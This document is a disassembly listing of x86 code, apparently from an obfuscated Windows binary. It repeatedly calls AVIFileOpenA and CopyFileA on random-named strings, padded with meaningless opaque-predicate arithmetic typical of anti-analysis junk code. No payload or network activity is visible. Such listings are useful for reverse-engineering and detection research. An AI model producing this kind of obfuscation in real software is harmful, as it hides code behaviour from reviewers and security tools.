jmp 0x409dfe
mov dword [ebp - 0x27c4], 0
mov edx, dword [ebp - 0x27c4]
or edx, 1
mov dword [ebp - 0x11bc], edx
push 0
mov eax, dword [ebp - 0x11bc]
push eax
mov ecx, dword [ebp - 0x7480]
push ecx
lea edx, [ebp - 0x945c]
push edx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 0
je 0x40a3c3
mov dword [ebp - 0x7484], str.qW3KMdZyaZZEN3VkwY
mov dword [ebp - 0x7488], str.nD3SOc8e2qDyQFDS9ARu
cmp dword [ebp - 0x628], 0xe3
je 0x409e68
mov dword [ebp - 0x27c8], 1
jmp 0x409e72
mov dword [ebp - 0x27c8], 0
mov eax, dword [ebp - 0x628]
sub eax, 0xf1
mov ecx, dword [ebp - 0x628]
sub ecx, 0x56
and eax, ecx
and eax, dword [ebp - 0x628]
xor eax, dword [ebp - 0x27c8]
mov edx, dword [ebp - 0x628]
imul edx, dword [ebp - 0x628]
mov ecx, dword [ebp - 0x628]
add ecx, 0x26
and edx, ecx
xor eax, edx
mov dword [ebp - 0x858], eax
mov edx, dword [ebp - 0x858]
not edx
cmp edx, dword [ebp - 0x858]
jne 0x409ed0
mov dword [ebp - 0x27cc], 1
jmp 0x409eda
mov dword [ebp - 0x27cc], 0
mov eax, dword [ebp - 0x27cc]
add eax, 1
mov dword [ebp - 0x858], eax
mov ecx, dword [ebp - 0x858]
add ecx, 1
mov dword [ebp - 0x858], ecx
mov edx, dword [ebp - 0x858]
add edx, 1
mov dword [ebp - 0x858], edx
mov eax, dword [ebp - 0x858]
push eax
mov ecx, dword [ebp - 0x7484]
push ecx
mov edx, dword [ebp - 0x7488]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x39c], eax
cmp dword [ebp - 0x39c], 0
je 0x40a121
mov dword [ebp - 0x748c], str.VB5mPV
mov eax, dword [ebp - 0x39c]
add eax, 0x59
cmp eax, 0xc8
je 0x409f5b
mov dword [ebp - 0x27e0], 1
jmp 0x409f65
mov dword [ebp - 0x27e0], 0
mov ecx, dword [ebp - 0x39c]
cmp ecx, dword [ebp - 0x39c]
jne 0x409f7f
mov dword [ebp - 0x27e4], 1
jmp 0x409f89
mov dword [ebp - 0x27e4], 0
mov edx, dword [ebp - 0x39c]
add edx, dword [ebp - 0x39c]
cmp edx, 0xaf
je 0x409fa9
mov dword [ebp - 0x27d0], 1
jmp 0x409fb3
mov dword [ebp - 0x27d0], 0
cmp dword [ebp - 0x27d0], 1
je 0x409fc8
mov dword [ebp - 0x27d4], 1
jmp 0x409fd2
mov dword [ebp - 0x27d4], 0
mov eax, dword [ebp - 0x27d4]
cmp eax, dword [ebp - 0x39c]
jne 0x409fec
mov dword [ebp - 0x27d8], 1
jmp 0x409ff6
mov dword [ebp - 0x27d8], 0
cmp dword [ebp - 0x27d8], 0xdc
jne 0x40a00e
mov dword [ebp - 0x27e8], 1
jmp 0x40a018
mov dword [ebp - 0x27e8], 0
mov ecx, dword [ebp - 0x39c]
sub ecx, dword [ebp - 0x39c]
imul edx, dword [ebp - 0x39c], 0x4f
cmp ecx, edx
je 0x40a03b
mov dword [ebp - 0x27dc], 1
jmp 0x40a045
mov dword [ebp - 0x27dc], 0
mov eax, dword [ebp - 0x39c]
imul eax, dword [ebp - 0x39c]
cmp dword [ebp - 0x27dc], eax
je 0x40a066
mov dword [ebp - 0x27ec], 1
jmp 0x40a070
mov dword [ebp - 0x27ec], 0
mov ecx, dword [ebp - 0x39c]
xor ecx, dword [ebp - 0x27e0]
xor ecx, dword [ebp - 0x27e4]
or ecx, 0xc7
or ecx, dword [ebp - 0x39c]
mov edx, dword [ebp - 0x27e8]
and edx, dword [ebp - 0x27ec]
and edx, dword [ebp - 0x39c]
or ecx, edx
mov dword [ebp - 0x11c0], ecx
mov eax, dword [ebp - 0x11c0]
not eax
cmp eax, dword [ebp - 0x11c0]
jne 0x40a0c4
mov dword [ebp - 0x27f0], 1
jmp 0x40a0ce
mov dword [ebp - 0x27f0], 0
mov ecx, dword [ebp - 0x27f0]
add ecx, 1
imul edx, ecx, 3
mov dword [ebp - 0x11c0], edx
push 0
mov eax, dword [ebp - 0x11c0]
push eax
mov ecx, dword [ebp - 0x748c]
push ecx
lea edx, [ebp - 0x9460]
push edx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1af8], eax
cmp dword [ebp - 0x1af8], 0
je 0x40a10d
jmp 0x40a11c
mov eax, dword [ebp - 0x1af8]
add eax, 1
mov dword [ebp - 0x1af8], eax
jmp 0x40a29a
mov dword [ebp - 0x7490], str.k4HFoc9
mov dword [ebp - 0x7494], str.1sTONE1ACEThl9uUcd579bqb3TnH91
cmp dword [ebp - 0x858], 0x5b
je 0x40a14a
mov dword [ebp - 0x27f4], 1
jmp 0x40a154
mov dword [ebp - 0x27f4], 0
cmp dword [ebp - 0x858], 0xf3
je 0x40a16c
mov dword [ebp - 0x27f8], 1
jmp 0x40a176
mov dword [ebp - 0x27f8], 0
mov ecx, 0x9c
sub ecx, dword [ebp - 0x858]
cmp ecx, 0x87
jne 0x40a195
mov dword [ebp - 0x27fc], 1
jmp 0x40a19f
mov dword [ebp - 0x27fc], 0
imul edx, dword [ebp - 0x858], 0xf5
add edx, dword [ebp - 0x858]
cmp edx, 0x8a
je 0x40a1c3
mov dword [ebp - 0x2800], 1
jmp 0x40a1cd
mov dword [ebp - 0x2800], 0
mov eax, dword [ebp - 0x858]
and eax, dword [ebp - 0x27f4]
imul ecx, dword [ebp - 0x858], 0x39
mov edx, 0xa6
sub edx, dword [ebp - 0x858]
and edx, dword [ebp - 0x27f8]
xor ecx, edx
or eax, ecx
mov ecx, dword [ebp - 0x858]
imul ecx, dword [ebp - 0x858]
xor ecx, dword [ebp - 0x27fc]
mov edx, dword [ebp - 0x858]
and edx, dword [ebp - 0x2800]
xor ecx, edx
or eax, ecx
mov dword [ebp - 0xbac], eax
mov eax, dword [ebp - 0xbac]
neg eax
and eax, 1
mov ecx, dword [ebp - 0xbac]
and ecx, 1
cmp eax, ecx
je 0x40a242
mov dword [ebp - 0x2804], 1
jmp 0x40a24c
mov dword [ebp - 0x2804], 0
mov edx, dword [ebp - 0x2804]
or edx, 1
mov dword [ebp - 0xbac], edx
mov eax, dword [ebp - 0xbac]
add eax, 1
mov dword [ebp - 0xbac], eax
mov ecx, dword [ebp - 0xbac]
add ecx, 1
mov dword [ebp - 0xbac], ecx
mov edx, dword [ebp - 0xbac]
push edx
mov eax, dword [ebp - 0x7490]
push eax
mov ecx, dword [ebp - 0x7494]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7498], eax
mov dword [ebp - 0x749c], str.9kKSJHxVtSxqC
cmp dword [ebp - 0x39c], 1
jne 0x40a2b9
mov dword [ebp - 0x2808], 1
jmp 0x40a2c3
mov dword [ebp - 0x2808], 0
mov edx, dword [ebp - 0x39c]
imul edx, dword [ebp - 0x39c]
add edx, 0x6f
cmp dword [ebp - 0x2808], edx
je 0x40a2e7
mov dword [ebp - 0x280c], 1
jmp 0x40a2f1
mov dword [ebp - 0x280c], 0
cmp dword [ebp - 0x39c], 0x58
je 0x40a306
mov dword [ebp - 0x2810], 1
jmp 0x40a310
mov dword [ebp - 0x2810], 0
mov eax, dword [ebp - 0x39c]
add eax, 4
add eax, dword [ebp - 0x39c]
and eax, dword [ebp - 0x280c]
mov ecx, dword [ebp - 0x2810]
xor ecx, dword [ebp - 0x39c]
xor ecx, 0x5f
xor ecx, dword [ebp - 0x39c]
or eax, ecx
or eax, dword [ebp - 0x39c]
mov dword [ebp - 0x11c4], eax
mov edx, dword [ebp - 0x11c4]
neg edx
and edx, 1
mov eax, dword [ebp - 0x11c4]
and eax, 1
cmp edx, eax
je 0x40a36c
mov dword [ebp - 0x2814], 1
jmp 0x40a376
mov dword [ebp - 0x2814], 0
mov ecx, dword [ebp - 0x2814]
or ecx, 5
mov dword [ebp - 0x11c4], ecx
push 0
mov edx, dword [ebp - 0x11c4]
push edx
mov eax, dword [ebp - 0x749c]
push eax
lea ecx, [ebp - 0x9464]
push ecx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1afc], eax
cmp dword [ebp - 0x1afc], 0
je 0x40a3b2
jmp 0x40a3c1
mov edx, dword [ebp - 0x1afc]
add edx, 1
mov dword [ebp - 0x1afc], edx
jmp 0x40a3d2
mov eax, dword [ebp - 0x628]
add eax, 1
mov dword [ebp - 0x628], eax
mov dword [ebp - 0x74a0], str.q3uUNUFmDSNzIkT0eU
mov ecx, dword [ebp - 0x628]
add ecx, 0xdd
sub ecx, dword [ebp - 0x628]
sub ecx, 0x32
sub ecx, dword [ebp - 0x628]
mov edx, dword [ebp - 0x628]
imul edx, dword [ebp - 0x628]
cmp ecx, edx
jne 0x40a414
mov dword [ebp - 0x2824], 1
jmp 0x40a41e
mov dword [ebp - 0x2824], 0
mov eax, dword [ebp - 0x628]
add eax, 0xa0
add eax, dword [ebp - 0x628]
cmp eax, dword [ebp - 0x628]
je 0x40a443
mov dword [ebp - 0x2818], 1
jmp 0x40a44d
mov dword [ebp - 0x2818], 0
cmp dword [ebp - 0x2818], 0x3e
je 0x40a462
mov dword [ebp - 0x281c], 1
jmp 0x40a46c
mov dword [ebp - 0x281c], 0
mov ecx, dword [ebp - 0x628]
imul ecx, dword [ebp - 0x628]
cmp dword [ebp - 0x281c], ecx
jne 0x40a48d
mov dword [ebp - 0x2820], 1
jmp 0x40a497
mov dword [ebp - 0x2820], 0
cmp dword [ebp - 0x2820], 0x2f
jne 0x40a4ac
mov dword [ebp - 0x2828], 1
jmp 0x40a4b6
mov dword [ebp - 0x2828], 0
mov edx, dword [ebp - 0x2824]
or edx, dword [ebp - 0x628]
or edx, dword [ebp - 0x2828]
mov dword [ebp - 0x11c8], edx
mov eax, dword [ebp - 0x11c8]
neg eax
xor eax, dword [ebp - 0x11c8]
and eax, 1
add eax, 1
shl eax, 2
mov dword [ebp - 0x11c8], eax
push 0
mov ecx, dword [ebp - 0x11c8]
push ecx
mov edx, dword [ebp - 0x74a0]
push edx
lea eax, [ebp - 0x9468]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40a66f
mov dword [ebp - 0x74a4], str.NvvTrjxpDjdMzC24WOejnut8pkz
mov dword [ebp - 0x74a8], str.mXOhRqd2fwGyP7jsDvU5Ms2
cmp dword [ebp - 0xc], 0x8c
jne 0x40a53d
mov dword [ebp - 0x282c], 1
jmp 0x40a547
mov dword [ebp - 0x282c], 0
mov ecx, dword [ebp - 0x282c]
cmp ecx, dword [ebp - 0xc]
je 0x40a55e
mov dword [ebp - 0x2830], 1
jmp 0x40a568
mov dword [ebp - 0x2830], 0
cmp dword [ebp - 0x2830], 0xfb
je 0x40a580
mov dword [ebp - 0x2834], 1
jmp 0x40a58a
mov dword [ebp - 0x2834], 0
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0xc]
jne 0x40a59e
mov dword [ebp - 0x2838], 1
jmp 0x40a5a8
mov dword [ebp - 0x2838], 0
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0xc]
and ecx, dword [ebp - 0x2834]
xor eax, ecx
mov edx, dword [ebp - 0xc]
add edx, 0x1b
sub edx, dword [ebp - 0xc]
or eax, edx
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0xc]
or eax, ecx
mov edx, dword [ebp - 0xc]
xor edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
and ecx, dword [ebp - 0xc]
and ecx, dword [ebp - 0xc]
xor edx, ecx
xor edx, dword [ebp - 0x2838]
or eax, edx
or eax, 0xa
mov dword [ebp - 0xbb0], eax
mov edx, dword [ebp - 0xbb0]
neg edx
and edx, 1
mov eax, dword [ebp - 0xbb0]
and eax, 1
cmp edx, eax
je 0x40a615
mov dword [ebp - 0x283c], 1
jmp 0x40a61f
mov dword [ebp - 0x283c], 0
mov ecx, dword [ebp - 0x283c]
add ecx, 1
mov dword [ebp - 0xbb0], ecx
mov edx, dword [ebp - 0xbb0]
add edx, 1
mov dword [ebp - 0xbb0], edx
mov eax, dword [ebp - 0xbb0]
add eax, 1
mov dword [ebp - 0xbb0], eax
mov ecx, dword [ebp - 0xbb0]
push ecx
mov edx, dword [ebp - 0x74a4]
push edx
mov eax, dword [ebp - 0x74a8]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x74ac], eax
jmp 0x40a678
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x74b0], str.81DNDwO
mov dword [ebp - 0x74b4], str.tW6ky5Fia1HtedU4BSOL
cmp dword [ebp - 0xc], 0x35
jne 0x40a69e
mov dword [ebp - 0x2840], 1
jmp 0x40a6a8
mov dword [ebp - 0x2840], 0
mov edx, dword [ebp - 0x2840]
cmp edx, dword [ebp - 0xc]
jne 0x40a6bf
mov dword [ebp - 0x2854], 1
jmp 0x40a6c9
mov dword [ebp - 0x2854], 0
cmp dword [ebp - 0xc], 0xde
je 0x40a6de
mov dword [ebp - 0x2850], 1
jmp 0x40a6e8
mov dword [ebp - 0x2850], 0
mov eax, dword [ebp - 0xc]
sub eax, 0x2c
cmp dword [ebp - 0xc], eax
je 0x40a6ff
mov dword [ebp - 0x2858], 1
jmp 0x40a709
mov dword [ebp - 0x2858], 0
mov ecx, dword [ebp - 0xc]
add ecx, 0xa1
cmp ecx, dword [ebp - 0xc]
jne 0x40a723
mov dword [ebp - 0x2844], 1
jmp 0x40a72d
mov dword [ebp - 0x2844], 0
mov edx, 0xfe
sub edx, dword [ebp - 0xc]
cmp dword [ebp - 0x2844], edx
jne 0x40a749
mov dword [ebp - 0x2848], 1
jmp 0x40a753
mov dword [ebp - 0x2848], 0
mov eax, 0x35
sub eax, dword [ebp - 0xc]
cmp dword [ebp - 0x2848], eax
jne 0x40a76f
mov dword [ebp - 0x284c], 1
jmp 0x40a779
mov dword [ebp - 0x284c], 0
mov ecx, dword [ebp - 0x284c]
cmp ecx, dword [ebp - 0xc]
je 0x40a790
mov dword [ebp - 0x285c], 1
jmp 0x40a79a
mov dword [ebp - 0x285c], 0
mov edx, dword [ebp - 0x2850]
and edx, dword [ebp - 0xc]
or edx, dword [ebp - 0x2854]
or edx, dword [ebp - 0x2858]
or edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0xc]
and eax, dword [ebp - 0x285c]
xor eax, 0x84
or edx, eax
mov dword [ebp - 0xbb4], edx
mov ecx, dword [ebp - 0xbb4]
neg ecx
and ecx, 1
mov edx, dword [ebp - 0xbb4]
and edx, 1
cmp ecx, edx
je 0x40a7ef
mov dword [ebp - 0x2860], 1
jmp 0x40a7f9
mov dword [ebp - 0x2860], 0
mov eax, dword [ebp - 0x2860]
add eax, 1
mov dword [ebp - 0xbb4], eax
mov ecx, dword [ebp - 0xbb4]
add ecx, 1
mov dword [ebp - 0xbb4], ecx
mov edx, dword [ebp - 0xbb4]
add edx, 1
mov dword [ebp - 0xbb4], edx
mov eax, dword [ebp - 0xbb4]
push eax
mov ecx, dword [ebp - 0x74b0]
push ecx
mov edx, dword [ebp - 0x74b4]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x74b8], eax
mov eax, dword [ebp - 0x74bc]
mov ecx, dword [eax + 0x3c]
add ecx, 0x400000
mov dword [ebp - 0x1b9c], ecx
mov dword [ebp - 0x74c0], str.X4itk2Nr4JIWwlDdS
mov dword [ebp - 0x74c4], str.OkhdL7KV29Xjr
imul edx, dword [ebp - 4], 0x59
cmp dword [ebp - 4], edx
je 0x40a885
mov dword [ebp - 0x2868], 1
jmp 0x40a88f
mov dword [ebp - 0x2868], 0
imul eax, dword [ebp - 4], 0x60
cmp dword [ebp - 4], eax
je 0x40a8a4
mov dword [ebp - 0x2864], 1
jmp 0x40a8ae
mov dword [ebp - 0x2864], 0
imul ecx, dword [ebp - 4], 0x42
add ecx, dword [ebp - 4]
add ecx, dword [ebp - 4]
and ecx, dword [ebp - 0x2864]
and ecx, 6
and ecx, dword [ebp - 4]
or ecx, dword [ebp - 0x2868]
mov edx, dword [ebp - 4]
xor edx, 0x39
or ecx, edx
mov dword [ebp - 0x62c], ecx
mov eax, dword [ebp - 0x62c]
add eax, dword [ebp - 0x62c]
and eax, 1
add eax, 1
mov dword [ebp - 0x62c], eax
mov ecx, dword [ebp - 0x62c]
add ecx, 1
mov dword [ebp - 0x62c], ecx
mov edx, dword [ebp - 0x62c]
add edx, 1
mov dword [ebp - 0x62c], edx
mov eax, dword [ebp - 0x62c]
push eax
mov ecx, dword [ebp - 0x74c0]
push ecx
mov edx, dword [ebp - 0x74c4]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x868], eax
cmp dword [ebp - 0x868], 0
je 0x40bcda
mov dword [ebp - 0x74c8], str.ApEaljqci7Co5rmodfntnCgb
imul eax, dword [ebp - 0x868], 0x72
imul eax, dword [ebp - 0x868]
sub eax, 0xf2
add eax, dword [ebp - 0x868]
cmp dword [ebp - 0x868], eax
jne 0x40a973
mov dword [ebp - 0x286c], 1
jmp 0x40a97d
mov dword [ebp - 0x286c], 0
cmp dword [ebp - 0x868], 6
je 0x40a992
mov dword [ebp - 0x2870], 1
jmp 0x40a99c
mov dword [ebp - 0x2870], 0
mov ecx, dword [ebp - 0x868]
xor ecx, dword [ebp - 0x286c]
mov edx, dword [ebp - 0x2870]
and edx, dword [ebp - 0x868]
xor edx, 0x87
xor edx, 0x5c
or ecx, edx
mov dword [ebp - 0x11cc], ecx
mov eax, dword [ebp - 0x11cc]
not eax
cmp eax, dword [ebp - 0x11cc]
jne 0x40a9e1
mov dword [ebp - 0x2874], 1
jmp 0x40a9eb
mov dword [ebp - 0x2874], 0
mov ecx, dword [ebp - 0x2874]
or ecx, 5
mov dword [ebp - 0x11cc], ecx
push 0
mov edx, dword [ebp - 0x11cc]
push edx
mov eax, dword [ebp - 0x74c8]
push eax
lea ecx, [ebp - 0x946c]
push ecx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0
je 0x40b2aa
mov dword [ebp - 0x74cc], str.Fxx3VEMWPLP4U2aiw
mov edx, dword [ebp - 0x1f8]
add edx, dword [ebp - 0x1f8]
cmp dword [ebp - 0x1f8], edx
jne 0x40aa53
mov dword [ebp - 0x2878], 1
jmp 0x40aa5d
mov dword [ebp - 0x2878], 0
mov eax, dword [ebp - 0x1f8]
xor eax, 0xd5
mov ecx, 0x84
sub ecx, dword [ebp - 0x1f8]
sub ecx, 0x7b
add ecx, dword [ebp - 0x1f8]
imul edx, dword [ebp - 0x1f8], 0xd5
sub ecx, edx
add ecx, dword [ebp - 0x1f8]
and ecx, dword [ebp - 0x1f8]
xor eax, ecx
xor eax, 0xca
mov ecx, dword [ebp - 0x2878]
and ecx, dword [ebp - 0x1f8]
xor eax, ecx
mov dword [ebp - 0x11d0], eax
mov edx, dword [ebp - 0x11d0]
not edx
cmp edx, dword [ebp - 0x11d0]
jne 0x40aacb
mov dword [ebp - 0x287c], 1
jmp 0x40aad5
mov dword [ebp - 0x287c], 0
mov eax, dword [ebp - 0x287c]
add eax, 1
shl eax, 1
mov dword [ebp - 0x11d0], eax
push 0
mov ecx, dword [ebp - 0x11d0]
push ecx
mov edx, dword [ebp - 0x74cc]
push edx
lea eax, [ebp - 0x9470]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x40ae6f
mov dword [ebp - 0x74d0], str.lbuMBIAQM0HXME8cbEhGahwNgp
mov ecx, 0xa1
sub ecx, dword [ebp - 0x1c]
imul edx, dword [ebp - 0x1c], 0xdc
sub ecx, edx
cmp ecx, 0xf5
jne 0x40ab3e
mov dword [ebp - 0x2880], 1
jmp 0x40ab48
mov dword [ebp - 0x2880], 0
mov eax, dword [ebp - 0x1c]
sub eax, 0x10
cmp dword [ebp - 0x2880], eax
jne 0x40ab62
mov dword [ebp - 0x2884], 1
jmp 0x40ab6c
mov dword [ebp - 0x2884], 0
mov ecx, dword [ebp - 0x2884]
cmp ecx, dword [ebp - 0x1c]
jne 0x40ab83
mov dword [ebp - 0x2888], 1
jmp 0x40ab8d
mov dword [ebp - 0x2888], 0
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x1c]
je 0x40aba1
mov dword [ebp - 0x288c], 1
jmp 0x40abab
mov dword [ebp - 0x288c], 0
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1c]
and eax, 0xf5
and eax, dword [ebp - 0x1c]
and eax, dword [ebp - 0x2888]
mov ecx, dword [ebp - 0x1c]
add ecx, 0xe3
mov edx, dword [ebp - 0x1c]
imul edx, dword [ebp - 0x1c]
sub ecx, edx
and ecx, 0x68
xor eax, ecx
mov ecx, dword [ebp - 0x288c]
xor ecx, dword [ebp - 0x1c]
or eax, ecx
mov dword [ebp - 0x11d4], eax
mov edx, dword [ebp - 0x11d4]
not edx
cmp edx, dword [ebp - 0x11d4]
jne 0x40ac03
mov dword [ebp - 0x2890], 1
jmp 0x40ac0d
mov dword [ebp - 0x2890], 0
mov eax, dword [ebp - 0x2890]
add eax, 1
imul ecx, eax, 5
mov dword [ebp - 0x11d4], ecx
push 0
mov edx, dword [ebp - 0x11d4]
push edx
mov eax, dword [ebp - 0x74d0]
push eax
lea ecx, [ebp - 0x9474]
push ecx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x46c], eax
cmp dword [ebp - 0x46c], 0
je 0x40ad4a
mov dword [ebp - 0x74d4], str.2s3TPlZQNqklmorkJ
mov dword [ebp - 0x74d8], str.5KNTrSDJm5hW2C6DItQxlkwDcpZvY
imul edx, dword [ebp - 0x46c], 0x55
mov eax, dword [ebp - 0x46c]
sub eax, edx
cmp eax, dword [ebp - 0x46c]
je 0x40ac85
mov dword [ebp - 0x2894], 1
jmp 0x40ac8f
mov dword [ebp - 0x2894], 0
mov ecx, dword [ebp - 0x46c]
sub ecx, 0xce
imul edx, dword [ebp - 0x46c], 0xa5
sub edx, dword [ebp - 0x46c]
sub edx, dword [ebp - 0x46c]
cmp ecx, edx
jne 0x40acc1
mov dword [ebp - 0x2898], 1
jmp 0x40accb
mov dword [ebp - 0x2898], 0
mov eax, dword [ebp - 0x46c]
and eax, dword [ebp - 0x46c]
and eax, dword [ebp - 0x2894]
and eax, dword [ebp - 0x46c]
or eax, dword [ebp - 0x2898]
mov dword [ebp - 0xbb8], eax
mov ecx, dword [ebp - 0xbb8]
neg ecx
xor ecx, dword [ebp - 0xbb8]
and ecx, 1
add ecx, 1
mov dword [ebp - 0xbb8], ecx
mov edx, dword [ebp - 0xbb8]
add edx, 1
mov dword [ebp - 0xbb8], edx
mov eax, dword [ebp - 0xbb8]
add eax, 1
mov dword [ebp - 0xbb8], eax
mov ecx, dword [ebp - 0xbb8]
push ecx
mov edx, dword [ebp - 0x74d4]
push edx
mov eax, dword [ebp - 0x74d8]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x74dc], eax
jmp 0x40ad59
mov ecx, dword [ebp - 0x46c]
add ecx, 1
mov dword [ebp - 0x46c], ecx
mov dword [ebp - 0x74e0], str.IvnK4pUSGRlQaDxtKwp8CJ338ht
mov dword [ebp - 0x74e4], str.FC0XEjHkKPItrAp2QmlCvwhRM2RP3
mov edx, dword [ebp - 0x46c]
add edx, 0x72
cmp edx, 0x6a
je 0x40ad87
mov dword [ebp - 0x289c], 1
jmp 0x40ad91
mov dword [ebp - 0x289c], 0
mov eax, dword [ebp - 0x46c]
add eax, 0x35
add eax, dword [ebp - 0x46c]
cmp eax, dword [ebp - 0x46c]
je 0x40adb4
mov dword [ebp - 0x28a0], 1
jmp 0x40adbe
mov dword [ebp - 0x28a0], 0
mov ecx, dword [ebp - 0x289c]
xor ecx, dword [ebp - 0x46c]
mov edx, 0xd
sub edx, dword [ebp - 0x46c]
xor ecx, edx
xor ecx, dword [ebp - 0x28a0]
mov eax, dword [ebp - 0x46c]
add eax, 0xfe
imul edx, dword [ebp - 0x46c], 0x78
xor eax, edx
or ecx, eax
mov dword [ebp - 0xbbc], ecx
mov eax, dword [ebp - 0xbbc]
not eax
cmp eax, dword [ebp - 0xbbc]
jne 0x40ae15
mov dword [ebp - 0x28a4], 1
jmp 0x40ae1f
mov dword [ebp - 0x28a4], 0
mov ecx, dword [ebp - 0x28a4]
add ecx, 1
mov dword [ebp - 0xbbc], ecx
mov edx, dword [ebp - 0xbbc]
add edx, 1
mov dword [ebp - 0xbbc], edx
mov eax, dword [ebp - 0xbbc]
add eax, 1
mov dword [ebp - 0xbbc], eax
mov ecx, dword [ebp - 0xbbc]
push ecx
mov edx, dword [ebp - 0x74e0]
push edx
mov eax, dword [ebp - 0x74e4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x74e8], eax
jmp 0x40ae78
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x74ec], str.pgs9APtA0GP0IWUswO9LcMYLEnX
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x1c]
jne 0x40ae96
mov dword [ebp - 0x28a8], 1
jmp 0x40aea0
mov dword [ebp - 0x28a8], 0
mov eax, dword [ebp - 0x1c]
sub eax, 0x8a
cmp dword [ebp - 0x28a8], eax
je 0x40aebc
mov dword [ebp - 0x28ac], 1
jmp 0x40aec6
mov dword [ebp - 0x28ac], 0
mov ecx, dword [ebp - 0x28ac]
cmp ecx, dword [ebp - 0x1c]
jne 0x40aedd
mov dword [ebp - 0x28b0], 1
jmp 0x40aee7
mov dword [ebp - 0x28b0], 0
mov edx, dword [ebp - 0x28b0]
cmp edx, dword [ebp - 0x1c]
je 0x40aefe
mov dword [ebp - 0x28b4], 1
jmp 0x40af08
mov dword [ebp - 0x28b4], 0
mov eax, dword [ebp - 0x28b4]
cmp eax, dword [ebp - 0x1c]
jne 0x40af1f
mov dword [ebp - 0x28bc], 1
jmp 0x40af29
mov dword [ebp - 0x28bc], 0
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x1c]
cmp ecx, edx
je 0x40af45
mov dword [ebp - 0x28c0], 1
jmp 0x40af4f
mov dword [ebp - 0x28c0], 0
mov eax, 0xbd
sub eax, dword [ebp - 0x1c]
cmp eax, 0xc4
jne 0x40af6a
mov dword [ebp - 0x28b8], 1
jmp 0x40af74
mov dword [ebp - 0x28b8], 0
mov ecx, dword [ebp - 0x1c]
add ecx, 0xa
cmp dword [ebp - 0x28b8], ecx
jne 0x40af8e
mov dword [ebp - 0x28c4], 1
jmp 0x40af98
mov dword [ebp - 0x28c4], 0
mov edx, dword [ebp - 0x28bc]
and edx, dword [ebp - 0x28c0]
and edx, dword [ebp - 0x1c]
and edx, dword [ebp - 0x1c]
and edx, dword [ebp - 0x1c]
xor edx, dword [ebp - 0x1c]
xor edx, dword [ebp - 0x28c4]
mov dword [ebp - 0x11d8], edx
mov eax, dword [ebp - 0x11d8]
neg eax
xor eax, dword [ebp - 0x11d8]
and eax, 1
or eax, 4
mov dword [ebp - 0x11d8], eax
push 0
mov ecx, dword [ebp - 0x11d8]
push ecx
mov edx, dword [ebp - 0x74ec]
push edx
lea eax, [ebp - 0x9478]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x470], eax
cmp dword [ebp - 0x470], 0
je 0x40b128
mov dword [ebp - 0x74f0], str.4dPTHZ3T98DndAF88uP1wRHY
mov dword [ebp - 0x74f4], str.PnrZdLKm4e3OqxkiUt5ze
mov ecx, dword [ebp - 0x470]
sub ecx, 0xb4
cmp dword [ebp - 0x470], ecx
je 0x40b039
mov dword [ebp - 0x28cc], 1
jmp 0x40b043
mov dword [ebp - 0x28cc], 0
cmp dword [ebp - 0x470], 0x60
jne 0x40b058
mov dword [ebp - 0x28c8], 1
jmp 0x40b062
mov dword [ebp - 0x28c8], 0
mov edx, dword [ebp - 0x28c8]
cmp edx, dword [ebp - 0x470]
je 0x40b07c
mov dword [ebp - 0x28d0], 1
jmp 0x40b086
mov dword [ebp - 0x28d0], 0
imul eax, dword [ebp - 0x470], 5
or eax, dword [ebp - 0x28cc]
mov ecx, dword [ebp - 0x28d0]
and ecx, dword [ebp - 0x470]
mov edx, dword [ebp - 0x470]
and edx, 0x74
xor ecx, edx
or eax, ecx
mov dword [ebp - 0xbc0], eax
mov eax, dword [ebp - 0xbc0]
not eax
cmp eax, dword [ebp - 0xbc0]
jne 0x40b0ce
mov dword [ebp - 0x28d4], 1
jmp 0x40b0d8
mov dword [ebp - 0x28d4], 0
mov ecx, dword [ebp - 0x28d4]
add ecx, 1
mov dword [ebp - 0xbc0], ecx
mov edx, dword [ebp - 0xbc0]
add edx, 1
mov dword [ebp - 0xbc0], edx
mov eax, dword [ebp - 0xbc0]
add eax, 1
mov dword [ebp - 0xbc0], eax
mov ecx, dword [ebp - 0xbc0]
push ecx
mov edx, dword [ebp - 0x74f0]
push edx
mov eax, dword [ebp - 0x74f4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x74f8], eax
jmp 0x40b137
mov ecx, dword [ebp - 0x470]
